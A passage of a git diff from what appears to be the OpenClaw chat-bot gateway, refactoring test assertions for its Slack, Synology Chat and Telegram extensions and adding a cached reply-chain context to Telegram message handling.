expect(prepared.ctxPayload.MessageThreadId).toBe("500.000"); }); it("routes Slack thread replies through runtime conversation bindings", async () => { @@ -1254,10 +1254,10 @@ describe("slack prepareSlackMessage inbound contract", () => { }); assertPrepared(prepared); - expect(prepared!.route.sessionKey).toBe(targetSessionKey); - expect(prepared!.route.agentId).toBe("review"); - expect(prepared!.ctxPayload.SessionKey).toBe(targetSessionKey); - expect(prepared!.ctxPayload.ParentSessionKey).toBeUndefined(); + expect(prepared.route.sessionKey).toBe(targetSessionKey); + expect(prepared.route.agentId).toBe("review"); + expect(prepared.ctxPayload.SessionKey).toBe(targetSessionKey); + expect(prepared.ctxPayload.ParentSessionKey).toBeUndefined(); expect(resolveByConversation).toHaveBeenCalledWith({ channel: "slack", accountId: "default", @@ -1328,10 +1328,10 @@ describe("slack prepareSlackMessage inbound contract", () => { assertPrepared(root, "root message"); assertPrepared(followUp, "follow-up message"); - expect(root!.ctxPayload.SessionKey).toBe(expectedSessionKey); - expect(followUp!.ctxPayload.SessionKey).toBe(expectedSessionKey); - expect(followUp!.ctxPayload.WasMentioned).toBe(true); - expect(new Set([root!.ctxPayload.SessionKey, followUp!.ctxPayload.SessionKey]).size).toBe(1); + expect(root.ctxPayload.SessionKey).toBe(expectedSessionKey); + expect(followUp.ctxPayload.SessionKey).toBe(expectedSessionKey); + expect(followUp.ctxPayload.WasMentioned).toBe(true); + expect(new Set([root.ctxPayload.SessionKey, followUp.ctxPayload.SessionKey]).size).toBe(1); }); it("keeps a message-first root mention and URL-only Slack thread follow-up on one parent session", async () => { @@ -1392,11 +1392,11 @@ describe("slack prepareSlackMessage inbound contract", () => { assertPrepared(root, "root message"); assertPrepared(followUp, "follow-up message"); - expect(root!.ctxPayload.SessionKey).toBe(expectedSessionKey); - expect(followUp!.ctxPayload.SessionKey).toBe(expectedSessionKey); - expect(root!.ctxPayload.WasMentioned).toBe(true); - expect(followUp!.ctxPayload.WasMentioned).toBe(true); - expect(new Set([root!.ctxPayload.SessionKey, followUp!.ctxPayload.SessionKey]).size).toBe(1); + expect(root.ctxPayload.SessionKey).toBe(expectedSessionKey); + expect(followUp.ctxPayload.SessionKey).toBe(expectedSessionKey); + expect(root.ctxPayload.WasMentioned).toBe(true); + expect(followUp.ctxPayload.WasMentioned).toBe(true); + expect(new Set([root.ctxPayload.SessionKey, followUp.ctxPayload.SessionKey]).size).toBe(1); }); it("keeps an implicit-conversation root and its Slack thread follow-up on one parent session in `requireMention: false` channels (#78505)", async () => { @@ -1515,7 +1515,7 @@ describe("slack prepareSlackMessage inbound contract", () => { team_id: "T1", }); assertPrepared(prepared); - expect(prepared!.ctxPayload.WasMentioned).toBe(true); + expect(prepared.ctxPayload.WasMentioned).toBe(true); }); it("drops Slack user-group mentions when the bot is not a member", async () => { @@ -1621,10 +1621,10 @@ describe("slack prepareSlackMessage inbound contract", () => { assertPrepared(root, "root message"); assertPrepared(followUp, "follow-up message"); - expect(root!.ctxPayload.SessionKey).toBe(expectedSessionKey); - expect(followUp!.ctxPayload.SessionKey).toBe(expectedSessionKey); - expect(root!.ctxPayload.WasMentioned).toBe(true); - expect(followUp!.ctxPayload.WasMentioned).toBe(true); + expect(root.ctxPayload.SessionKey).toBe(expectedSessionKey); + expect(followUp.ctxPayload.SessionKey).toBe(expectedSessionKey); + expect(root.ctxPayload.WasMentioned).toBe(true); + expect(followUp.ctxPayload.WasMentioned).toBe(true); }); it("keeps runtime-bound regex mentions on the bound parent session", async () => { @@ -1703,12 +1703,12 @@ describe("slack prepareSlackMessage inbound contract", () => { assertPrepared(prepared); assertPrepared(followUp, "follow-up message"); - expect(prepared!.route.agentId).toBe("review"); - expect(prepared!.ctxPayload.SessionKey).toBe(expectedSessionKey); - expect(followUp!.ctxPayload.SessionKey).toBe(expectedSessionKey); - expect(prepared!.ctxPayload.WasMentioned).toBe(true); - expect(followUp!.ctxPayload.WasMentioned).toBe(true); - expect(new Set([prepared!.ctxPayload.SessionKey, followUp!.ctxPayload.SessionKey]).size).toBe( + expect(prepared.route.agentId).toBe("review"); + expect(prepared.ctxPayload.SessionKey).toBe(expectedSessionKey); + expect(followUp.ctxPayload.SessionKey).toBe(expectedSessionKey); + expect(prepared.ctxPayload.WasMentioned).toBe(true); + expect(followUp.ctxPayload.WasMentioned).toBe(true); + expect(new Set([prepared.ctxPayload.SessionKey, followUp.ctxPayload.SessionKey]).size).toBe( 1, ); } finally { @@ -1792,10 +1792,10 @@ describe("slack prepareSlackMessage inbound contract", () => { assertPrepared(root, "root message"); assertPrepared(followUp, "follow-up message"); - expect(root!.route.agentId).toBe("main"); - expect(root!.ctxPayload.SessionKey).toBe(expectedSessionKey); - expect(followUp!.ctxPayload.SessionKey).toBe(expectedSessionKey); - expect(new Set([root!.ctxPayload.SessionKey, followUp!.ctxPayload.SessionKey]).size).toBe(1); + expect(root.route.agentId).toBe("main"); + expect(root.ctxPayload.SessionKey).toBe(expectedSessionKey); + expect(followUp.ctxPayload.SessionKey).toBe(expectedSessionKey); + expect(new Set([root.ctxPayload.SessionKey, followUp.ctxPayload.SessionKey]).size).toBe(1); } finally { unregisterSessionBindingAdapter({ channel: "slack", accountId: "default", adapter }); } @@ -1846,12 +1846,12 @@ describe("slack prepareSlackMessage inbound contract", () => { }); assertPrepared(prepared); - expect(prepared!.ctxPayload.SessionKey).toBe(expectedSessionKey); - expect(prepared!.ctxPayload.SessionKey).not.toBe(childTsSessionKey); - expect(prepared!.ctxPayload.MessageThreadId).toBe(rootTs); - expect(prepared!.ctxPayload.ReplyToId).toBe(rootTs); - expect(prepared!.ctxPayload.MessageSid).toBe(childTs); - expect(prepared!.ctxPayload.WasMentioned).toBe(true); + expect(prepared.ctxPayload.SessionKey).toBe(expectedSessionKey); + expect(prepared.ctxPayload.SessionKey).not.toBe(childTsSessionKey); + expect(prepared.ctxPayload.MessageThreadId).toBe(rootTs); + expect(prepared.ctxPayload.ReplyToId).toBe(rootTs); + expect(prepared.ctxPayload.MessageSid).toBe(childTs); + expect(prepared.ctxPayload.WasMentioned).toBe(true); }); it("preserves single-use reply mode metadata on seeded top-level roots", async () => { @@ -1885,11 +1885,11 @@ describe("slack prepareSlackMessage inbound contract", () => { }); assertPrepared(prepared); - expect(prepared!.ctxPayload.SessionKey).toBe( + expect(prepared.ctxPayload.SessionKey).toBe( "agent:main:slack:channel:c0ahzfcas1k:thread:1777244692.409919", ); - expect(prepared!.ctxPayload.MessageThreadId).toBeUndefined(); - expect(prepared!.ctxPayload.ReplyToId).toBe(rootTs); + expect(prepared.ctxPayload.MessageThreadId).toBeUndefined(); + expect(prepared.ctxPayload.ReplyToId).toBe(rootTs); } }); }); diff --git a/extensions/slack/src/send.blocks.test.ts b/extensions/slack/src/send.blocks.test.ts index 2191027ed7d..e5acce29310 100644 --- a/extensions/slack/src/send.blocks.test.ts +++ b/extensions/slack/src/send.blocks.test.ts @@ -148,7 +148,11 @@ describe("sendMessageSlack chunking", () => { const postedTexts = client.chat.postMessage.mock.calls.map((call) => call[0].text); expect(postedTexts).toHaveLength(2); - expect(postedTexts.every((text) => typeof text === "string" && text.length <= 8000)).toBe(true); + expect( + postedTexts + .map((text, index) => ({ index, length: typeof text === "string" ? text.length : null })) + .filter((text) => text.length === null || text.length > 8000), + ).toEqual([]); expect(postedTexts.join("")).toBe(message); }); }); diff --git a/extensions/synology-chat/src/channel.test.ts b/extensions/synology-chat/src/channel.test.ts index 909e3e40187..c40969d5707 100644 --- a/extensions/synology-chat/src/channel.test.ts +++ b/extensions/synology-chat/src/channel.test.ts @@ -256,21 +256,23 @@ describe("createSynologyChatPlugin", () => { const plugin = createSynologyChatPlugin(); const account = makeSecurityAccount({ token: "" }); const warnings = plugin.security.collectWarnings({ cfg: {}, account }); - expect(warnings.some((w: string) => w.includes("token"))).toBe(true); + expect(warnings).toEqual(expect.arrayContaining([expect.stringContaining("token")])); }); it("warns when allowInsecureSsl is true", () => { const plugin = createSynologyChatPlugin(); const account = makeSecurityAccount({ allowInsecureSsl: true }); const warnings = plugin.security.collectWarnings({ cfg: {}, account }); - expect(warnings.some((w: string) => w.includes("SSL"))).toBe(true); + expect(warnings).toEqual(expect.arrayContaining([expect.stringContaining("SSL")])); }); it("warns when dangerous name matching is enabled", () => { const plugin = createSynologyChatPlugin(); const account = makeSecurityAccount({ dangerouslyAllowNameMatching: true }); const warnings = plugin.security.collectWarnings({ cfg: {}, account }); - expect(warnings.some((w: string) => w.includes("dangerouslyAllowNameMatching"))).toBe(true); + expect(warnings).toEqual( + expect.arrayContaining([expect.stringContaining("dangerouslyAllowNameMatching")]), + ); }); it("warns when inherited shared webhookPath is dangerously re-enabled", () => { @@ -281,30 +283,36 @@ describe("createSynologyChatPlugin", () => { dangerouslyAllowInheritedWebhookPath: true, }); const warnings = plugin.security.collectWarnings({ cfg: {}, account }); - expect( - warnings.some((w: string) => w.includes("dangerouslyAllowInheritedWebhookPath=true")), - ).toBe(true); + expect(warnings).toEqual( + expect.arrayContaining([ + expect.stringContaining("dangerouslyAllowInheritedWebhookPath=true"), + ]), + ); }); it("warns when dmPolicy is open", () => { const plugin = createSynologyChatPlugin(); const account = makeSecurityAccount({ dmPolicy: "open", allowedUserIds: ["*"] }); const warnings = plugin.security.collectWarnings({ cfg: {}, account }); - expect(warnings.some((w: string) => w.includes("open"))).toBe(true); + expect(warnings).toEqual(expect.arrayContaining([expect.stringContaining("open")])); }); it("warns when dmPolicy is open and allowedUserIds is empty", () => { const plugin = createSynologyChatPlugin(); const account = makeSecurityAccount({ dmPolicy: "open", allowedUserIds: [] }); const warnings = plugin.security.collectWarnings({ cfg: {}, account }); - expect(warnings.some((w: string) => w.includes("empty allowedUserIds"))).toBe(true); + expect(warnings).toEqual( + expect.arrayContaining([expect.stringContaining("empty allowedUserIds")]), + ); }); it("warns when dmPolicy is allowlist and allowedUserIds is empty", () => { const plugin = createSynologyChatPlugin(); const account = makeSecurityAccount(); const warnings = plugin.security.collectWarnings({ cfg: {}, account }); - expect(warnings.some((w: string) => w.includes("empty allowedUserIds"))).toBe(true); + expect(warnings).toEqual( + expect.arrayContaining([expect.stringContaining("empty allowedUserIds")]), + ); }); it("warns when named multi-account routes inherit a shared webhookPath", () => { @@ -312,8 +320,8 @@ describe("createSynologyChatPlugin", () => { const cfg = makeSharedWebhookConfig(); const account = plugin.config.resolveAccount(cfg, "alerts"); const warnings = plugin.security.collectWarnings({ cfg, account }); - expect(warnings.some((w: string) => w.includes("must set an explicit webhookPath"))).toBe( - true, + expect(warnings).toEqual( + expect.arrayContaining([expect.stringContaining("must set an explicit webhookPath")]), ); }); @@ -334,7 +342,9 @@ describe("createSynologyChatPlugin", () => { }; const account = plugin.config.resolveAccount(cfg, "alerts"); const warnings = plugin.security.collectWarnings({ cfg, account }); - expect(warnings.some((w: string) => w.includes("conflicts on webhookPath"))).toBe(true); + expect(warnings).toEqual( + expect.arrayContaining([expect.stringContaining("conflicts on webhookPath")]), + ); }); it("returns no warnings for fully configured account", () => { diff --git a/extensions/telegram/src/bot-handlers.runtime.ts b/extensions/telegram/src/bot-handlers.runtime.ts index 1e692936389..9d8ab7cab40 100644 --- a/extensions/telegram/src/bot-handlers.runtime.ts +++ b/extensions/telegram/src/bot-handlers.runtime.ts @@ -60,6 +60,7 @@ import { resolveInboundMediaFileId, } from "./bot-handlers.media.js"; import type { TelegramMediaRef } from "./bot-message-context.js"; +import type { TelegramMessageContextOptions } from "./bot-message-context.types.js"; import { parseTelegramNativeCommandCallbackData, RegisterTelegramHandlerParams, @@ -102,6 +103,13 @@ import { import { migrateTelegramGroupConfig } from "./group-migration.js"; import { resolveTelegramInlineButtonsScope } from "./inline-buttons.js"; import { dispatchTelegramPluginInteractiveHandler } from "./interactive-dispatch.js"; +import { + buildTelegramReplyChain, + createTelegramMessageCache, + resolveTelegramMessageCachePath, + type TelegramCachedMessageNode, + type TelegramReplyChainEntry, +} from "./message-cache.js"; import { buildModelsKeyboard, buildProviderKeyboard, @@ -158,9 +166,15 @@ export const registerTelegramHandlers = ({ const mediaGroupBuffer = new Map(); let mediaGroupProcessing: Promise = Promise.resolve(); + const messageCache = createTelegramMessageCache({ + persistedPath: resolveTelegramMessageCachePath( + telegramDeps.resolveStorePath(cfg.session?.store), + ), + }); type TextFragmentEntry = { key: string; + threadId?: number; messages: Array<{ msg: Message; ctx: TelegramContext; receivedAtMs: number }>; timer: ReturnType; }; @@ -179,6 +193,7 @@ export const registerTelegramHandlers = ({ debounceKey: string | null; debounceLane: TelegramDebounceLane; botUsername?: string; + threadId?: number; }; const resolveTelegramDebounceLane = (msg: Message): TelegramDebounceLane => { const forwardMeta = msg as { @@ -248,17 +263,10 @@ export const registerTelegramHandlers = ({ return; } if (entries.length === 1) { - const replyMedia = await resolveReplyMediaForMessage(last.ctx, last.msg); - await processMessage( - last.ctx, - last.allMedia, - last.storeAllowFrom, - { - receivedAtMs: last.receivedAtMs, - ingressBuffer: "inbound-debounce", - }, - replyMedia, - ); + await processMessageWithReplyChain(last.ctx, last.msg, last.allMedia, last.storeAllowFrom, { + receivedAtMs: last.receivedAtMs, + ingressBuffer: "inbound-debounce", + }); return; } const combinedText = entries @@ -278,9 +286,9 @@ export const registerTelegramHandlers = ({ }); const messageIdOverride = last.msg.message_id ? String(last.msg.message_id) : undefined; const syntheticCtx = buildSyntheticContext(baseCtx, syntheticMessage); - const replyMedia = await resolveReplyMediaForMessage(baseCtx, syntheticMessage); - await processMessage( + await processMessageWithReplyChain( syntheticCtx, + syntheticMessage, combinedMedia, first.storeAllowFrom, { @@ -288,7 +296,6 @@ export const registerTelegramHandlers = ({ receivedAtMs: first.receivedAtMs, ingressBuffer: "inbound-debounce", }, - replyMedia, ); }, onError: (err, items) => { @@ -442,8 +449,12 @@ export const registerTelegramHandlers = ({ } const storeAllowFrom = await loadStoreAllowFrom(); - const replyMedia = await resolveReplyMediaForMessage(primaryEntry.ctx, primaryEntry.msg); - await processMessage(primaryEntry.ctx, allMedia, storeAllowFrom, undefined, replyMedia); + await processMessageWithReplyChain( + primaryEntry.ctx, + primaryEntry.msg, + allMedia, + storeAllowFrom, + ); } catch (err) { runtime.error?.(danger(`media group handler failed: ${String(err)}`)); } @@ -473,7 +484,8 @@ export const registerTelegramHandlers = ({ const storeAllowFrom = await loadStoreAllowFrom(); const baseCtx = first.ctx; - await processMessage(buildSyntheticContext(baseCtx, syntheticMessage), [], storeAllowFrom, { + const syntheticCtx = buildSyntheticContext(baseCtx, syntheticMessage); + await processMessageWithReplyChain(syntheticCtx, syntheticMessage, [], storeAllowFrom, { messageIdOverride: String(last.msg.message_id), receivedAtMs: first.receivedAtMs, ingressBuffer: "text-fragment", @@ -507,42 +519,86 @@ export const registerTelegramHandlers = ({ const loadStoreAllowFrom = async () => telegramDeps.readChannelAllowFromStore("telegram", process.env, accountId).catch(() => []); - const resolveReplyMediaForMessage = async ( + const recordMessageForReplyChain = (msg: Message, threadId?: number) => + messageCache.record({ + accountId, + chatId: msg.chat.id, + msg, + ...(threadId != null ? { threadId } : {}), + }); + + const buildReplyChainForMessage = (msg: Message) => + buildTelegramReplyChain({ + cache: messageCache, + accountId, + chatId: msg.chat.id, + msg, + }); + + const toReplyChainEntry = ( + node: TelegramCachedMessageNode, + media?: TelegramMediaRef, + ): TelegramReplyChainEntry => { + const { sourceMessage: _sourceMessage, ...entry } = node; + return { + ...entry, + ...(media?.path ? { mediaPath: media.path } : {}), + ...(media?.contentType ? { mediaType: media.contentType } : {}), + }; + }; + + const resolveReplyMediaForChain = async ( + ctx: TelegramContext, + chain: TelegramCachedMessageNode[], + ): Promise<{ replyMedia: TelegramMediaRef[]; replyChain: TelegramReplyChainEntry[] }> => { + const replyMedia: TelegramMediaRef[] = []; + const replyChain: TelegramReplyChainEntry[] = []; + for (const node of chain) { + let mediaRef: TelegramMediaRef | undefined; + const replyFileId = resolveInboundMediaFileId(node.sourceMessage); + if (replyFileId && hasInboundMedia(node.sourceMessage)) { + try { + const media = await resolveMedia({ + ctx: { + message: node.sourceMessage, + me: ctx.me, + getFile: async () => await bot.api.getFile(replyFileId), + }, + maxBytes: mediaMaxBytes, + ...mediaRuntimeOptions, + }); + mediaRef = media + ? { + path: media.path, + ...(media.contentType ? { contentType: media.contentType } : {}), + ...(media.stickerMetadata ? { stickerMetadata: media.stickerMetadata } : {}), + } + : undefined; + } catch (err) { + logger.warn( + { chatId: ctx.message.chat.id, error: String(err) }, + "reply media fetch failed", + ); + } + } + if (mediaRef) { + replyMedia.push(mediaRef); + } + replyChain.push(toReplyChainEntry(node, mediaRef)); + } + return { replyMedia, replyChain }; + }; + + const processMessageWithReplyChain = async ( ctx: TelegramContext, msg: Message, - ): Promise => { - const replyMessage = msg.reply_to_message; - if (!replyMessage || !hasInboundMedia(replyMessage)) { - return []; - } - const replyFileId = resolveInboundMediaFileId(replyMessage); - if (!replyFileId) { - return []; - } - try { - const media = await resolveMedia({ - ctx: { - message: replyMessage, - me: ctx.me, - getFile: async () => await bot.api.getFile(replyFileId), - }, - maxBytes: mediaMaxBytes, - ...mediaRuntimeOptions, - }); - if (!media) { - return []; - } - return [ - { - path: media.path, - contentType: media.contentType, - stickerMetadata: media.stickerMetadata, - }, - ]; - } catch (err) { - logger.warn({ chatId: msg.chat.id, error: String(err) }, "reply media fetch failed"); - return []; - } + allMedia: TelegramMediaRef[], + storeAllowFrom: string[], + options?: TelegramMessageContextOptions, + ) => { + const replyChainNodes = buildReplyChainForMessage(msg); + const { replyMedia, replyChain } = await resolveReplyMediaForChain(ctx, replyChainNodes); + await processMessage(ctx, allMedia, storeAllowFrom, options, replyMedia, replyChain); }; const isAllowlistAuthorized = ( @@ -1783,7 +1839,8 @@ export const registerTelegramHandlers = ({ from: callback.from, text: nativeCallbackCommand ?? data, }); - await processMessage(buildSyntheticContext(ctx, syntheticMessage), [], storeAllowFrom, { + const syntheticCtx = buildSyntheticContext(ctx, syntheticMessage); + await processMessageWithReplyChain(syntheticCtx, syntheticMessage, [], storeAllowFrom, { ...(nativeCallbackCommand ? { commandSource: "native" as const } : {}), forceWasMentioned: true, messageIdOverride: callback.id, @@ -1943,6 +2000,7 @@ export const registerTelegramHandlers = ({ } } + recordMessageForReplyChain(event.msg, resolvedThreadId ?? dmThreadId); await processInboundMessage({ ctx: event.ctx, msg: event.msg, diff --git a/extensions/telegram/src/bot-message-context.session.ts b/extensions/telegram/src/bot-message-context.session.ts index 1069b922795..930e5ce4b11 100644 --- a/extensions/telegram/src/bot-message-context.session.ts +++ b/extensions/telegram/src/bot-message-context.session.ts @@ -39,6 +39,7 @@ import { } from "./bot/helpers.js"; import type { TelegramContext } from "./bot/types.js"; import { resolveTelegramGroupPromptSettings } from "./group-config-helpers.js"; +import type { TelegramReplyChainEntry } from "./message-cache.js"; type FinalizedTelegramInboundContext = ReturnType< typeof import("./bot-message-context.session.runtime.js").finalizeInboundContext @@ -87,12 +88,66 @@ export async function resolveTelegramMessageContextStorePath(params: { }); } +function replyTargetToChainEntry(replyTarget: TelegramReplyTarget): TelegramReplyChainEntry { + return { + ...(replyTarget.id ? { messageId: replyTarget.id } : {}), + sender: replyTarget.sender, + ...(replyTarget.senderId ? { senderId: replyTarget.senderId } : {}), + ...(replyTarget.senderUsername ? { senderUsername: replyTarget.senderUsername } : {}), + ...(replyTarget.body ? { body: replyTarget.body } : {}), + ...(replyTarget.kind === "quote" ? { isQuote: true } : {}), + ...(replyTarget.forwardedFrom?.from ? { forwardedFrom: replyTarget.forwardedFrom.from } : {}), + ...(replyTarget.forwardedFrom?.fromId + ? { forwardedFromId: replyTarget.forwardedFrom.fromId } + : {}), + ...(replyTarget.forwardedFrom?.fromUsername + ? { forwardedFromUsername: replyTarget.forwardedFrom.fromUsername } + : {}), + ...(replyTarget.forwardedFrom?.date + ? { forwardedDate: replyTarget.forwardedFrom.date * 1000 } + : {}), + }; +} + +function stripReplyChainForwarded(entry: TelegramReplyChainEntry): TelegramReplyChainEntry { + const { + forwardedFrom: _forwardedFrom, + forwardedFromId: _forwardedFromId, + forwardedFromUsername: _forwardedFromUsername, + forwardedDate: _forwardedDate, + ...withoutForwarded + } = entry; + return withoutForwarded; +} + +function formatReplyChainEntry(entry: TelegramReplyChainEntry, index: number): string { + const labels = [ + `${index + 1}. ${entry.sender ?? "unknown sender"}`, + entry.messageId ? `id:${entry.messageId}` : undefined, + entry.replyToId ? `reply_to:${entry.replyToId}` : undefined, + entry.timestamp ? new Date(entry.timestamp).toISOString() : undefined, + ].filter(Boolean); + const bodyLines = [ + entry.forwardedFrom + ? `[Forwarded from ${entry.forwardedFrom}${ + entry.forwardedDate ? ` at ${new Date(entry.forwardedDate).toISOString()}` : "" + }]` + : undefined, + entry.isQuote && entry.body ? `"${entry.body}"` : entry.body, + entry.mediaType ? `` : undefined, + entry.mediaPath ? `[media_path:${entry.mediaPath}]` : undefined, + entry.mediaRef ? `[media_ref:${entry.mediaRef}]` : undefined, + ].filter(Boolean); + return `[${labels.join(" ")}]\n${bodyLines.join("\n")}`; +} + export async function buildTelegramInboundContextPayload(params: { cfg: OpenClawConfig; primaryCtx: TelegramContext; msg: TelegramContext["message"]; allMedia: TelegramMediaRef[]; replyMedia: TelegramMediaRef[]; + replyChain: TelegramReplyChainEntry[]; isGroup: boolean; isForum: boolean; chatId: number | string; @@ -139,6 +194,7 @@ export async function buildTelegramInboundContextPayload(params: { msg, allMedia, replyMedia, + replyChain, isGroup, isForum, chatId, @@ -225,38 +281,46 @@ export async function buildTelegramInboundContextPayload(params: { forwardedFrom: visibleReplyForwardedFrom, } : null; + const visibleReplyTargetEntry = visibleReplyTarget + ? replyTargetToChainEntry(visibleReplyTarget) + : undefined; + const visibleReplyTargetById = new Map( + visibleReplyTargetEntry?.messageId + ? [[visibleReplyTargetEntry.messageId, visibleReplyTargetEntry]] + : [], + ); + const rawReplyChain = + replyChain.length > 0 ? replyChain : visibleReplyTargetEntry ? [visibleReplyTargetEntry] : []; + const visibleReplyChain = rawReplyChain.flatMap((entry) => { + const visibleEntry = { + ...entry, + ...(entry.messageId ? visibleReplyTargetById.get(entry.messageId) : undefined), + }; + if ( + !shouldIncludeGroupSupplementalContext({ + kind: "quote", + senderId: visibleEntry.senderId, + senderUsername: visibleEntry.senderUsername, + }) + ) { + return []; + } + const includeForwarded = + visibleEntry.forwardedFrom && + shouldIncludeGroupSupplementalContext({ + kind: "forwarded", + senderId: visibleEntry.forwardedFromId, + senderUsername: visibleEntry.forwardedFromUsername, + }); + return [includeForwarded ? visibleEntry : stripReplyChainForwarded(visibleEntry)]; + }); const visibleForwardOrigin = includeForwardOrigin ? forwardOrigin : null; - const replyForwardAnnotation = visibleReplyTarget?.forwardedFrom - ? `[Forwarded from ${visibleReplyTarget.forwardedFrom.from}${ - visibleReplyTarget.forwardedFrom.date - ? ` at ${new Date(visibleReplyTarget.forwardedFrom.date * 1000).toISOString()}` - : "" - }]\n` - : ""; - const buildReplySupplementalLines = (params: { body?: string }) => { - const lines: string[] = []; - const forwardAnnotation = replyForwardAnnotation.trimEnd(); - if (forwardAnnotation) { - lines.push(forwardAnnotation); - } - if (params.body) { - lines.push(params.body); - } - return lines.length > 0 ? `\n${lines.join("\n")}` : ""; - }; - const replySuffix = visibleReplyTarget - ? visibleReplyTarget.kind === "quote" - ? `\n\n[Quoting ${visibleReplyTarget.sender}${ - visibleReplyTarget.id ? ` id:${visibleReplyTarget.id}` : "" - }]${buildReplySupplementalLines({ - body: visibleReplyTarget.body ? `"${visibleReplyTarget.body}"` : undefined, - })}\n[/Quoting]` - : `\n\n[Replying to ${visibleReplyTarget.sender}${ - visibleReplyTarget.id ? ` id:${visibleReplyTarget.id}` : "" - }]${buildReplySupplementalLines({ - body: visibleReplyTarget.body, - })}\n[/Replying]` - : ""; + const replySuffix = + visibleReplyChain.length > 0 + ? `\n\n[Reply chain - nearest first]\n${visibleReplyChain + .map(formatReplyChainEntry) + .join("\n")}\n[/Reply chain]` + : ""; const forwardPrefix = visibleForwardOrigin ? `[Forwarded from ${visibleForwardOrigin.from}${ visibleForwardOrigin.date @@ -352,9 +416,10 @@ export async function buildTelegramInboundContextPayload(params: { Surface: "telegram", BotUsername: primaryCtx.me?.username ?? undefined, MessageSid: options?.messageIdOverride ?? String(msg.message_id), - ReplyToId: visibleReplyTarget?.id, - ReplyToBody: visibleReplyTarget?.body, - ReplyToSender: visibleReplyTarget?.sender, + ReplyToId: visibleReplyChain[0]?.messageId ?? visibleReplyTarget?.id, + ReplyToBody: visibleReplyChain[0]?.body ?? visibleReplyTarget?.body, + ReplyToSender: visibleReplyChain[0]?.sender ?? visibleReplyTarget?.sender, + ReplyChain: visibleReplyChain.length > 0 ? visibleReplyChain : undefined, ReplyToIsQuote: visibleReplyTarget?.kind === "quote" ? true : undefined, ReplyToIsExternal: visibleReplyTarget?.source === "external_reply" ? true : undefined, ReplyToQuoteText: visibleReplyTarget?.quoteText, diff --git a/extensions/telegram/src/bot-message-context.ts b/extensions/telegram/src/bot-message-context.ts index 3536806d4df..eb4bef9ba8f 100644 --- a/extensions/telegram/src/bot-message-context.ts +++ b/extensions/telegram/src/bot-message-context.ts @@ -115,6 +115,7 @@ export const buildTelegramMessageContext = async ({ primaryCtx, allMedia, replyMedia = [], + replyChain = [], storeAllowFrom, options, bot, @@ -578,6 +579,7 @@ export const buildTelegramMessageContext = async ({ msg, allMedia, replyMedia, + replyChain, isGroup, isForum, chatId, diff --git a/extensions/telegram/src/bot-message-context.types.ts b/extensions/telegram/src/bot-message-context.types.ts index dbb500021bd..cc21f06d35a 100644 --- a/extensions/telegram/src/bot-message-context.types.ts +++ b/extensions/telegram/src/bot-message-context.types.ts @@ -8,6 +8,7 @@ import type { } from "openclaw/plugin-sdk/config-types"; import type { HistoryEntry } from "openclaw/plugin-sdk/reply-history"; import type { StickerMetadata, TelegramContext } from "./bot/types.js"; +import type { TelegramReplyChainEntry } from "./message-cache.js"; export type TelegramMediaRef = { path: string; @@ -70,6 +71,7 @@ export type BuildTelegramMessageContextParams = { primaryCtx: TelegramContext; allMedia: TelegramMediaRef[]; replyMedia?: TelegramMediaRef[]; + replyChain?: TelegramReplyChainEntry[]; storeAllowFrom: string[]; options?: TelegramMessageContextOptions; bot: Bot; diff --git a/extensions/telegram/src/bot-message.ts b/extensions/telegram/src/bot-message.ts index 7c6a1b4376e..f69d2c561b2 100644 --- a/extensions/telegram/src/bot-message.ts +++ b/extensions/telegram/src/bot-message.ts @@ -13,6 +13,7 @@ import { dispatchTelegramMessage } from "./bot-message-dispatch.js"; import type { TelegramBotOptions } from "./bot.types.js"; import { buildTelegramThreadParams } from "./bot/helpers.js"; import type { TelegramContext, TelegramStreamMode } from "./bot/types.js"; +import type { TelegramReplyChainEntry } from "./message-cache.js"; /** Dependencies injected once when creating the message processor. */ type TelegramMessageProcessorDeps = Omit< @@ -60,6 +61,7 @@ export const createTelegramMessageProcessor = (deps: TelegramMessageProcessorDep storeAllowFrom: string[], options?: TelegramMessageContextOptions, replyMedia?: TelegramMediaRef[], + replyChain?: TelegramReplyChainEntry[], ) => { const ingressReceivedAtMs = typeof options?.receivedAtMs === "number" && Number.isFinite(options.receivedAtMs) @@ -72,6 +74,7 @@ export const createTelegramMessageProcessor = (deps: TelegramMessageProcessorDep primaryCtx, allMedia, replyMedia, + replyChain, storeAllowFrom, options, bot, diff --git a/extensions/telegram/src/bot-native-commands.test.ts b/extensions/telegram/src/bot-native-commands.test.ts index a8426a81f48..a883f377925 100644 --- a/extensions/telegram/src/bot-native-commands.test.ts +++ b/extensions/telegram/src/bot-native-commands.test.ts @@ -21,7 +21,6 @@ let parseTelegramNativeCommandCallbackData: typeof import("./bot-native-commands let resolveTelegramNativeCommandDisableBlockStreaming: typeof import("./bot-native-commands.js").resolveTelegramNativeCommandDisableBlockStreaming; type CommandBotHarness = ReturnType; -type CommandHandler = (ctx: unknown) => Promise; type PlugCommandHarnessParams = { botHarness?: CommandBotHarness; cfg?: OpenClawConfig; diff --git a/extensions/telegram/src/bot-native-commands.ts b/extensions/telegram/src/bot-native-commands.ts index f35d4747a7e..e3c856ea682 100644 --- a/extensions/telegram/src/bot-native-commands.ts +++ b/extensions/telegram/src/bot-native-commands.ts @@ -405,6 +405,7 @@ export type RegisterTelegramHandlerParams = { storeAllowFrom: string[], options?: TelegramMessageContextOptions, replyMedia?: TelegramMediaRef[], + replyChain?: import("./message-cache.js").TelegramReplyChainEntry[], ) => Promise; logger: ReturnType; }; diff --git a/extensions/telegram/src/bot.command-menu.test.ts b/extensions/telegram/src/bot.command-menu.test.ts index 842eee5d3db..926e425972c 100644 --- a/extensions/telegram/src/bot.command-menu.test.ts +++ b/extensions/telegram/src/bot.command-menu.test.ts @@ -211,6 +211,6 @@ describe("createTelegramBot command menu", () => { { command: "custom_generate", description: "Create an image" }, ]); const reserved = new Set(listNativeCommandSpecs().map((command) => command.name)); - expect(registered.some((command) => reserved.has(command.command))).toBe(false); + expect(registered.filter((command) => reserved.has(command.command))).toEqual([]); }); }); diff --git a/extensions/telegram/src/bot.create-telegram-bot.test-harness.ts b/extensions/telegram/src/bot.create-telegram-bot.test-harness.ts index d765f77659a..d98a784f8d1 100644 --- a/extensions/telegram/src/bot.create-telegram-bot.test-harness.ts +++ b/extensions/telegram/src/bot.create-telegram-bot.test-harness.ts @@ -1,3 +1,4 @@ +import { rmSync } from "node:fs"; import type { OpenClawConfig } from "openclaw/plugin-sdk/config-types"; import type { MockFn } from "openclaw/plugin-sdk/plugin-test-runtime"; import type { GetReplyOptions, MsgContext } from "openclaw/plugin-sdk/reply-runtime"; @@ -460,6 +461,7 @@ beforeEach(() => { getRuntimeConfig.mockReset(); 